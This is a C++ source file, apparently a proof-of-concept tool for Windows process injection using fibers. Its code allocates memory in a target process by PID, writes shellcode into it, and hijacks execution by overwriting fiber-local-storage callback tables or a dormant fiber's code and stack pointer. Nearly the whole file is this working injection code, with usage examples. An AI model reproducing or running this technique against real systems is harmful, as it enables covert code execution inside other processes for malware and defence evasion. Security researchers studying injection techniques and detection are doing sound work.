* 000001af`79c45a60 ffffffff ffffffff 00000000 00000000 <- index 0
* 000001af`79c45a70 6eb13f20 00007ffa 00000000 00000000 <- Index 1
* 000001af`79c45a80 ffffffff ffffffff 00000000 00000000 <- Index 2
* 000001af`79c45a90 6ea16d50 00007ffa 00000000 00000000 <- Index 3
* 000001af`79c45aa0 806fb9a0 00007ffa 00000000 00000000 <- Index 4
* 000001af`79c45ab0 44444444 44444444 00000000 00000000 <- 0x44444444 44444444 Callback address at index 5
* 000001af`79c45ac0 45454545 45454545 00000000 00000000 <- 0x45454545 45454545 Callback address at index 6
*/
// Do some ptr verification
if (IsInvalidPtr(pCallbackTable))
{
continue;
}
// Callback table should start with its own heap block.
if (!IsNtHeapBlockAddr(heapEntryMetaVector, (uint64_t)pCallbackTable - 0x10))
{
continue;
}
// Read first ULONG to get the number of Callback table entries & thus how many entries to read next.
if (!ReadProcessMemory(hProcess, pCallbackTable, &nCallbackEntries, sizeof(ULONG), NULL))
{
printf("[-] ReadProcessMemory failed :%i\n", GetLastError());
continue;
}
// Number of callback entries must be less than FLS slot maximum.
if (nCallbackEntries > 4096 || nCallbackEntries == 0)
{
continue;
}
// Read from the first callback entry which starts +0x8 from the callback table start.
callbackEntries.resize(nCallbackEntries);
if (!ReadProcessMemory(hProcess, (PVOID)((uint64_t)pCallbackTable + 0x8), callbackEntries.data(), sizeof(FLS_CALLBACK) * nCallbackEntries, NULL))
{
printf("[-] ReadProcessMemory failed to read FLS Callback table:%i\n", GetLastError());
continue;
}
// Save callback entries & other meta data
callbackTable.callbackEntries = callbackEntries;
callbackTable.callbackTableAddress = pCallbackTable;
callbackTable.nCallbackEntries = nCallbackEntries;
// At this point we have found our callback for pid & tid. So stop enumerating the remaining LIST_ENTRIES for fiber.
return true;
}
return false;
}
bool InjectCallback(HANDLE& hProcess, Fiber fiber, std::vector<HeapEntryMeta> heapEntryMetaVector, int injectionType)
{
/*
Steps:
1. Check to see if FLS Data is populated, this tells us if any there is anything to overwrite.
2. Enumerate through FLS linked list to get callback table.
3. Overwrite callback table with pointer to malicious shellcode
*/
CallbackTableMeta callbackTable = {};
std::vector<LIST_ENTRY*> flsListEntries = {};
BOOL aquiredCallbackTable = false;
BOOL modifyUserCallback = false;
BOOL modifyDefaultCallback = false;
DWORD maxIndexes = 0;
maxIndexes = GetMaxFlsIndexValue();
size_t nBytesWritten = 0;
uint64_t callbackTableAddress = 0;
// Get injection type
if (injectionType == 1)
{
modifyDefaultCallback = true;
}
else if (injectionType == 2)
{
modifyUserCallback = true;
}
printf("[+] Supplying dormant Fiber object to InjectCallback func\n");
// Collect flsListEntry Vector from fiber.FlsData if valid
if (!GetFlsLinkedEntries(hProcess, fiber.FlsData, flsListEntries))
{
printf("[-] Unable to collect FLS ListEntries list from provided dormant fiber object\n");
return false;
}
printf("[+] Successfully collected FLS ListEntries list\n");
/*
* Get callback table
* Test every possible index value.
* Max value index value should be 4079 (a condition inside ntdll!RtlFlsGetValue to check valid max index supplied).
*
* Sometimes FLS max index doesn't work, thus our callback table ptr is empty
* Check for this and set to max value if necessary.
*/
if (maxIndexes == 0)
{
printf("[!] max fls index value is 0. Setting to hard-coded maximum value\n");
maxIndexes = 4079;
}
for (DWORD index = 1; index <= maxIndexes; index++)
{
if (index - 1 > 4078)
{
continue;
}
// Returns true if collected a callback table.
aquiredCallbackTable = GetFlsCallbackTable(hProcess, flsListEntries, heapEntryMetaVector, index, callbackTable);
if (aquiredCallbackTable)
{
printf("[+] Successfully collected FLS callback table for dormant fiber\n");
break;
}
}
if (callbackTable.callbackTableAddress == NULL)
{
printf("[-] Unable to collect valid FlsCallback table address\n");
}
/*
* Print out callback table
* NOTES:
* The first e.g. 10 callback will point to code inside loaded modules like ntdll.
* User defined callbacks will likely point to a JMP table (E9 near JMP) to your loaded code.
* Overwriting a callback will likely cause the program to crash. But since we are deleting fibers, is that such an issue?
* We could see how much space there is to over write the callback inside the program code.
* We could look at inserting a new callback at the end of the callback table to see if that is executed.
*/
int counter = 0;
printf("[+] Callback table address: 0x%llx\n", (uint64_t)callbackTable.callbackTableAddress);
printf("[+] Number of callback table entries:%i\n", (uint8_t)callbackTable.nCallbackEntries);
for (auto it = callbackTable.callbackEntries.begin(); it != callbackTable.callbackEntries.end(); ++it)
{
printf("\t[!] Callback index:%i\tCallback Address 0x%llx\n", counter, (uint64_t)(*it).callback);
counter++;
}
// Allocate some space for our shellcode inside remote process
uint64_t shellcodeLocation = (uint64_t)VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellcodeLocation == NULL)
{
printf("[-] Failed to allocate VirtualMemory in remote process: %i", GetLastError());
return false;
}
// Write shellcode to newly allocated remote memory region.
if (!WriteProcessMemory(hProcess, (LPVOID)shellcodeLocation, shellcodeAddr, shellcodeSize, &nBytesWritten))
{
printf("[-] Failed to write shellcode in remote process: %i", GetLastError());
return false;
}
printf("[+] Written shellcode to remote process at address: 0x%llx\n", shellcodeLocation);
/*
* We are modifying the last callback in the callback table.This is will be a user defined callback.
* This will be triggered under either condition:
* 1. Fiber is deleted / Thread running Fiber exits - ntdll!RtlpFlsDataCleanup
* 2. FLS index associated with callback is freed - ntdll!RtlpFlsFree
*/
if (modifyUserCallback)
{
/* Callback table example in mem
*
* 0:002> dd 0x000001af79c45a50
* 000001af`79c45a50 0000000b 00000000 00000000 00000000 <- 0b Number of callbacks in table.
* 000001af`79c45a60 ffffffff ffffffff 00000000 00000000 <- index 0
* 000001af`79c45a70 6eb13f20 00007ffa 00000000 00000000 <- Index 1
* 000001af`79c45a80 ffffffff ffffffff 00000000 00000000 <- Index 2
* 000001af`79c45a90 6ea16d50 00007ffa 00000000 00000000 <- Index 3
* 000001af`79c45aa0 806fb9a0 00007ffa 00000000 00000000 <- Index 4
* 000001af`79c45ab0 44444444 44444444 00000000 00000000 <- 0x44444444 44444444 User-defined Callback address at index 5
* 000001af`79c45ac0 45454545 45454545 00000000 00000000 <- 0x45454545 45454545 Last user-defined callback address at index 6 - [!!!OVERWRITE WITH SHELLCODE PTR!!!]
*/
/* Update number of callbacks field in callback table by one.
ULONG nCallbacksPlusOne = (ULONG)callbackTable.nCallbackEntries + 1;
if (!WriteProcessMemory(hProcess, callbackTable.callbackTableAddress, &nCallbacksPlusOne, sizeof(ULONG), NULL))
{
printf("[-] WriteProcessMemory failed to increase the size of the FLS callback table:%i\n", GetLastError());
return false;
}
*/
// Insert new callback (ptr to shellcode) at end of callback table.
if (!WriteProcessMemory(hProcess, (LPVOID)((uint64_t)callbackTable.callbackTableAddress + (callbackTable.nCallbackEntries * 0x10)), &shellcodeLocation, sizeof(uint64_t), NULL))
{
printf("[-] WriteProcessMemory failed to append FLS callback:%i\n", GetLastError());
return false;
}
}
/*
* We are overwriting callback responsible for cleaning up FLS.
* This will be triggered only when a Fiber is deleted / Thread running Fiber exits - ntdll!RtlpFlsDataCleanup
*/
if (modifyDefaultCallback)
{
// Check to see we have at least 2 standard callbacks, since we are overwriting the 2nd - (index 1 usually reserved for FlsFree())
if (callbackTable.nCallbackEntries >= 2)
// Overwrite 2nd callback inside callback table with our shellcode.
// This is usually reserved for FlsFree().
if (!WriteProcessMemory(hProcess, (LPVOID)((uint64_t)callbackTable.callbackTableAddress + (2 * 0x10)), &shellcodeLocation, sizeof(uint64_t), NULL))
{
printf("[-] WriteProcessMemory failed to overwrite FLS callback:%i\n", GetLastError());
return false;
}
/*
* Example of what we are overwriting at index 1
*
* 0:002> dd 0x000001af79c45a50
* 000001af`79c45a50 00000005 00000000 00000000 00000000 <- 0x0b Number of callbacks in table
* 000001af`79c45a60 ffffffff ffffffff 00000000 00000000 <- index 0
* 000001af`79c45a70 6eb13f20 00007ffa 00000000 00000000 <- Index 1 resolves to - ucrtbased!__vcrt_freefls - [!!!OVERWRITE WITH SHELLCODE PTR!!!]
* 000001af`79c45a80 ffffffff ffffffff 00000000 00000000 <- Index 2
* 000001af`79c45a90 6ea16d50 00007ffa 00000000 00000000 <- Index 3 resolves to - ucrtbased!destroy_fls
* 000001af`79c45aa0 806fb9a0 00007ffa 00000000 00000000 <- Index 4 resolves to - VCRUNTIME140D!__vcrt_freefls
* 000001af`79c45ab0 00000000 00000000 00000000 00000000 <- Padding
*
*/
}
return true;
}
/*
* Injects into dormant Fiber using either:
* Sub-technique1: Overwrites existing Dormant Fiber code.
* sub-technique2: Redirects execution to shellcode, before resuming normal execution.
*
* Works with dormant Fibers that have yet to be executed AND those which have previously been executed.
*/
void InjectInDormantFiber(HANDLE& hProcess, Fiber fiber, int injectionType)
{
size_t nBytesWritten = 0;
uint64_t rspValue = 0;
unsigned char ripValue[5] = { '\0' }; // This should represent 'add rsp, 28h.ret' in KernelBase!SwitchToFiber()
unsigned char rcxValue[5] = { '\0' }; // This should represent a NEAR JMP (5 bytes) when dormant fiber has NOT be scheduled for the first time.
bool redirectFiberExecution = false;
bool overwriteExistingFiberCode = false;
// Determine injection type.
if (injectionType == 1)
{
overwriteExistingFiberCode = true;
}
else if (injectionType == 2)
{
redirectFiberExecution = true;
}
// Print Dormant FiberContext registers
printf("\t[!] fiber.FiberData: 0x%llx\n", (uint64_t)fiber.FiberData);
printf("\t[!] fiber.FiberContext.Rip: 0x%llx\n", fiber.FiberContext.Rip); // Pointer to either null (if fiber hasn't already begun). Or inside SwitchToFiber
printf("\t[!] fiber.FiberContext.Rsp: 0x%llx\n", fiber.FiberContext.Rsp); // Pointer to top of the stack
printf("\t[!] fiber.FiberContext.Rcx: 0x%llx\n", fiber.FiberContext.Rcx); // Pointer to short JMP
printf("\t[!] fiber.FiberContext.Rax: 0x%llx\n", fiber.FiberContext.Rax); // ???
// Read values of registers.
if (fiber.FiberContext.Rip != 0x0)
{
if (!ReadProcessMemory(hProcess, (LPCVOID)fiber.FiberContext.Rip, &ripValue, 0x5, &nBytesWritten))
{
printf("\t[-] Failed to read Fiber.context.rip value in remote process: %i\n", GetLastError());
}
else
{
printf("\t[!] fiber.FiberContext.Rip value (first 5 bytes):"); // switchToFiber 'ret' instruction.
for (int i = 0; i < 5; ++i) {
printf("%02X ", ripValue[i]);
}
printf("\n");
}
}
// Read Near JUMP 'E9 (4 byte displacement value).
// This is used to find the address of Fiber code if the dormant fiber hasn't been switched to before.
if (!ReadProcessMemory(hProcess, (LPCVOID)fiber.FiberContext.Rcx, &rcxValue, 0x5, &nBytesWritten))
{
printf("\t[-] Failed to read Fiber.context.rcx value in remote process: %i\n", GetLastError());
}
else
{
printf("\t[!] fiber.FiberContext.Rcx value (first 5 bytes):"); // Contains a NEAR JMP 'E9' the beginning of the dormant fiber object's FiberCode
for (int i = 0; i < 5; ++i) {
printf("%02X ", rcxValue[i]);
}
printf("\n");
}
// Read first 8 bytes of the stack
if (!ReadProcessMemory(hProcess, (LPCVOID)fiber.FiberContext.Rsp, &rspValue, sizeof(uint64_t), &nBytesWritten))
{
printf("\t[-] Failed to read Fiber.context.rsp value in remote process: %i\n", GetLastError());
}
else
{
// Executable Dormant Fiber code resumption point.
printf("\t[!] fiber.FiberContext.Rsp value Before modification: 0x%llx\n", rspValue);
}
/*
* This sub-technique: Overwrites existing Dormant Fiber code.
* 1. Checks to see if dormant Fiber has been executed (switched to) before, this changes the way we find the ptr to dormant FiberCode.
*
* 2.
* 2a. If dormant Fiber has NOT been switched to before (RIP == NULL) we calculate the start of dormant Fiber's code using indirect JMP via RCX.
* 2b. We then we directly overwrite dormant fiber code with our shellcode.
*
* 3.
* 3a. If dormant fiber has previously been switched to (RIP == ptr inside KernelBase!SwitchToFiber() - add rsp, 28h; ret)
* 3b. We calculate the ptr to dormant fiber code on the stack
* 3c. Copy our shellcode at the end of the region of pages for the legitimate fiber code.
* 3d. Overwrite the ptr to dormatn fiber code on the stach with a ptr to shellocode (that we have saved in the same region)
* This is to prevent us overwriting the call to SwitchToFiber() in the existing Fiber code & thus crashing our program before it is executed (switched to).
*/
if (overwriteExistingFiberCode)
{
uint64_t startOfFiberCode = 0;
printf("[+] Overwriting Existing Dormant Fiber Data\n");
printf("\t[!] Calculating address of existing Dormant Fiber Data\n");
/* Check to see if the dormant Fiber has been scheduled before.
* If fiber.Context.rip == NULL then dormant fiber has NOT been switched to (executed) before.
* We use fiber.FiberContext.Rcx to get indirect jump to start of code
*/
if (fiber.FiberContext.Rip == NULL)
{
uint32_t disp = 0;
byte ins = '\x00';
// Check rcxValue begins with indirect JUMP to start of Fiber code.
if (rcxValue[0] == 0xE9) {
memcpy(&disp, rcxValue + 1, 4); // Copy 4 bytes over
startOfFiberCode = (uint64_t)fiber.FiberContext.Rcx + 0x5 + disp; // 0x5 is the size of 'JMP displacement' asm in bytes. Thus a near JMP starts from the next instruction.
printf("\t[!] start address of dormant fiber code: 0x%llx\n", startOfFiberCode);
}
else
{
// We shouldn't arrive here!
printf("\t[!] Unable to calculate start address of dormant Fiber code. RcxValue doesn't contain near jump 'E9 disp' value!\n");
}
// Overwrite start of FiberCode with shellcode.
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProcess, (LPVOID)startOfFiberCode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect))
{
printf("[-] Failed to change page permissions in remote process: %i", GetLastError());
return;
}
if (!WriteProcessMemory(hProcess, (LPVOID)startOfFiberCode, shellcode, sizeof(shellcode), &nBytesWritten))
{
printf("[-] Failed to write shellcode in remote process: %i", GetLastError());
return;
}
}
else
{
// If rip contains the following value then our dormant fiber has previously been switched to or it is a secondary Fiber.
if ((ripValue[0] == 0x48) && (ripValue[1] == 0x83) && (ripValue[2] == 0xc4) && (ripValue[3] == 0x28) && (ripValue[4] == 0xc3)) {
/* This will point to
fiber.FiberContext.Rip: 0x7ffaca24b463 points to below inside Kernelbase!SwitchToFiber
--> 48 83 C4 28 add rsp, 28h
C3 retn
*/
// Read value stored at
if (!ReadProcessMemory(hProcess, (LPCVOID)(fiber.FiberContext.Rsp + 0x30), &startOfFiberCode, sizeof(uint64_t), NULL))
{
printf("\t[-] ReadProcessMemory failed to read dormant fiber.FiberContext.Rsp + 0x30: %i\n", GetLastError());
return;
}
printf("\t[!] start address of dormant fiber code: 0x%llx\n", startOfFiberCode);
/*
* If we are overwriting the existing dormant fiber .text section then aim to copy our shellcode at the end the .text.
* This is because the end of .text less likely to contain fiber code. (due to padding).
* It also means we are less likely to overwrite the SwitchToFiber() call in the running Fiber code.
* If we where to overwrite the call to SwitchToFiber() before it has been executed then the program will crash without executing our shellcode.
*
* NOTE: If we try and change protections (Adding Write permissions) for currently executing pages, this might cause an error!
*/
MEMORY_BASIC_INFORMATION mbi = {};
if (!VirtualQueryEx(hProcess, (LPCVOID)startOfFiberCode, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))
{
printf("[-] Failed to query memory in remote process: %i", GetLastError());
return;
}
// Calculate end of region, so we can write our shellcode here.
uint64_t codeSectionEnd = 0;
uint64_t addrToWriteShellcode = 0;
codeSectionEnd = (uint64_t)mbi.AllocationBase + mbi.RegionSize;
addrToWriteShellcode = codeSectionEnd - sizeof(shellcode);
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProcess, (LPVOID)mbi.AllocationBase, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &oldProtect))
{
printf("[-] Failed to change page permissions in remote process: %i", GetLastError());
return;
}
if (!WriteProcessMemory(hProcess, (LPVOID)addrToWriteShellcode, shellcode, sizeof(shellcode), &nBytesWritten))
{
printf("[-] Failed to write shellcode in remote process: %i", GetLastError());
return;
}
// Overwrite dormant Fiber code ptr on the stack with value that points to our shellcode withing the same region of pages.
if (!WriteProcessMemory(hProcess, (LPVOID)(fiber.FiberContext.Rsp + 0x30), &addrToWriteShellcode, sizeof(shellcode), &nBytesWritten))
{
printf("[-] Failed to write shellcode in remote process: %i", GetLastError());
return;
}
}
else
{
// We shouldn't arrive here!
printf("\t[!] Unable to calculate start address of dormant Fiber code. RipValue doesn't contain expected value!\n");
}
}
printf("[+] Overwritten dormant fiber code with shellcode\n");
}
/*
* This sub-technique: Redirects execution to shellcode, before resuming normal execution.
* 1. Remotely allocates a new region of memory for our shellcode & copies it to that location
* 2. Adjust the remote dormant Fiber's stack (by 8 bytes) to make space for shellcode ptr.
* 3. Pushes the address of shellcode to top of new stack
* Then when 'ret' is called inside SwitchToFiber() the shellcode will get executed, and normal execution will resume after.
* NOTE: providing our shellcode continues execution (with a 'ret') & doesn't mess up stack alignment etc.
*/
if (redirectFiberExecution)
{
// Remote allocate some space for our shellcode inside remote process
uint64_t shellcodeLocation = (uint64_t)VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellcodeLocation == NULL)
{
printf("[-] Failed to allocate VirtualMemory in remote process: %i", GetLastError());
return;
}
// Write shellcode to newly allocated remote memory region.
if (!WriteProcessMemory(hProcess, (LPVOID)shellcodeLocation, shellcodeAddr, shellcodeSize, &nBytesWritten))
{
printf("[-] Failed to write shellcode in remote process: %i", GetLastError());
return;
}
printf("[+] Written shellcode to remote process at address: 0x%llx\n", shellcodeLocation);
// Find address of remote dormant fiber Rsp to adjust.
PVOID dormantFiberAddr = fiber.FiberData; // Address of remote dormant fiber in remote process.
uint64_t offsetToRsp = 0xc8;
uint64_t rspMinus8 = fiber.FiberContext.Rsp - 0x8;
/*
* How to get stack offset of remote fiber to adjust
* OFFSET TO FiberContext == +0x30
* 00000000 FIBER struc ; (sizeof=0x520, align=0x10, copyof_295)
* 00000000 FiberData dq ? ; offset
* ....
* 00000030 FiberContext CONTEXT ?
* ....
* 00000520 FIBER ends
* -------------------------------------
*
* OFFSET TO Rsp == +0x98
* 00000000 CONTEXT struc ; (sizeof=0x4D0, align=0x10, copyof_120)
* ....
* 00000098 _Rsp dq ? ; XREF: __report_gsfailure+9F/w
* ....
* 000004D0 CONTEXT ends
* -------------------------------------
*
* TOTAL OFFSET == 0xC8
*/
// Adjust fiber.FiberContext.Rsp value by 8 bytes to include space for our new shellcode ptr.
if (!WriteProcessMemory(hProcess, (LPVOID)((uint64_t)dormantFiberAddr + offsetToRsp), &rspMinus8, sizeof(uint64_t), &nBytesWritten))
{
printf("[-] Failed adjust dormant FiberContext.rsp: %i\n", GetLastError());
}
else
{
printf("[+] New dormant FiberContext.rsp: 0x%llx\n", rspMinus8);
}
// Copy address of shellcode to top of new stack
if (!WriteProcessMemory(hProcess, (LPVOID)((uint64_t)rspMinus8), &shellcodeLocation, sizeof(LPVOID), &nBytesWritten))
{
printf("[-] Failed to write shellcode address to modified context.rsp: %i\n", GetLastError());
}
else
{
printf("[+] Overwritten dormant fiber stack with pointer to shellcode\n");
}
printf("[+] Redirected dormant fiber to execute our shellcode from stack first before resuming execution at original Dormant Fiber code\n");
}
}
void PrintHelp(char* name)
{
printf("!!POC MUST BE RUN AS ADMIN!!\n\n");
printf("%s -h (Print help)\n\n", name);
printf("Options:\n");
printf("\t-e (Remotely Enumerate Threads & Processes using Fibers)\n");
printf("\t-p (pid to target)\n");
printf("\t-cu (Modify user-defined callback)\n");
printf("\t-cd (Modify default cleanup callback)\n");
printf("\t-do (Overwrite Dormant Fiber code)\n");
printf("\t-dr (Redirect Dormant Fiber)\n\n");
printf("Example: Enumerate remote Fibers\n");
printf("\t%s -e\n\n", name);
printf("Example: Target pid 1001, modify default cleanup callback\n");
printf("\t%s -p 1001 -cd \n\n", name);
printf("Example: Target pid 1001, redirect dormant fiber execution\n");
printf("\t%s -p 1001 -dr \n\n", name);
}
int main(int argc, char** argv)
{
bool injectIntoCallbackTable = false;
int callbackInjectType = 0;
bool injectIntoDormantFiber = false;
int dormantFiberInjectionType = 0;
DWORD targetPid = 0;
std::vector<TidPid> tidPid_vector;
std::vector<FiberInfo> fiberinfo_vector;
printf(R"EOF(
__________ .__ ___________._____.
\______ \____ |__| __________ ____ \_ _____/|__\_ |__ ___________
| ___/ _ \| |/ ___/ _ \ / \ | __) | || __ \_/ __ \_ __ \
| | ( <_> ) |\___ ( <_> ) | \ | \ | || \_\ \ ___/| | \/
|____| \____/|__/____ >____/|___| / \___ / |__||___ /\___ >__|
\/ \/ \/ \/ \/ )EOF");
printf("\n\n");
// Parse arguments
if (argc < 2) {
PrintHelp(argv[0]);
return 1; // Return an error code
}
if (!InitializeFuncs())
{
printf("[!] InitializeFuncs failed\n");
return 1;
}
// Remotely enumerate Fibers, prints info to screen
if (strcmp(argv[1], "-e") == 0)
{
ListProcessThreads(tidPid_vector);
GetCurrentThreadsUsingFibers(tidPid_vector, fiberinfo_vector);
return 0;
}
if (strcmp(argv[1], "-p") == 0)
{
// Check we have been provided with a pid
if (argc < 3) {
printf("No PID provided\n");
return 1; // Return an error code
}
// Convert the command-line argument to a DWORD
char* endPtr;
targetPid = strtoul(argv[2], &endPtr, 10);
// Check for conversion errors
if (*endPtr != '\0') {
printf("Invalid number format: %s", argv[2]);
return 1;
}
}
if (strcmp(argv[3], "-cd") == 0)
{
injectIntoCallbackTable = true;
callbackInjectType = 1;
}
else if (strcmp(argv[3], "-cu") == 0)
{
injectIntoCallbackTable = true;
callbackInjectType = 2;
}
else if (strcmp(argv[3], "-do") == 0)
{
injectIntoDormantFiber = true;
dormantFiberInjectionType = 1;
}
else if (strcmp(argv[3], "-dr") == 0)
{
injectIntoDormantFiber = true;
dormantFiberInjectionType = 2;
}
// Stored custom shellcode as a resource. This shellcode continues execution rather than exiting (like with msfvenom payload)
if (!LoadShellcodeFromResource())
{
printf("[!] LoadShellcodeFromResource failed\n");
return 1;
}
// Enumerate all threads again, since some may have exited since initial enum.
ListProcessThreads(tidPid_vector);
GetCurrentThreadsUsingFibers(tidPid_vector, fiberinfo_vector);
for (auto& fiberinfo : fiberinfo_vector)
{
// Select target process using Fibers
if (fiberinfo.tidPid.pid == targetPid)
{
HANDLE hProcess = NULL;
// Get Handles to the thread and owning process.
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, fiberinfo.tidPid.pid);
if (!hProcess)
{
printf("[-] Failed to open process handle\n");
}
// Enumerate heap block entries
std::vector<HeapEntryMeta> heapEntryMetaVector;
EnumNtHeap(hProcess, heapEntryMetaVector);
// Get Dormant Fibers
EnumFibersFromHeapBlocks(hProcess, heapEntryMetaVector, fiberinfo);
if (injectIntoDormantFiber)
{
// Just select the first dormant Fiber we have
InjectInDormantFiber(hProcess, fiberinfo.dormantFibervector.at(0), dormantFiberInjectionType);
}
// We need the fiber.FlsData field to get FLSList entries & Global FLS struct.
// We use the Global FLS struct to find callback table remotely.
if (injectIntoCallbackTable)
{
// First check current Fiber to identify if FlsData field is present
if (InjectCallback(hProcess, fiberinfo.fiberObject, heapEntryMetaVector, callbackInjectType))
{
printf("[+] Injected Callback\n");
}
else
{
// If FLSData field isn't present in current Fiber then check in dormant Fibers
for (auto it = fiberinfo.dormantFibervector.begin(); it != fiberinfo.dormantFibervector.end(); ++it)
{
// If successful then break, so we don't inject numerous times.
if (InjectCallback(hProcess, (*it), heapEntryMetaVector, callbackInjectType))
break;
}
printf("[+] Injected Callback\n");
}
}
CloseHandle(hProcess);
return 0;
}
}
printf("[-] Unable to target PID: %i\n", targetPid);
return 1;
}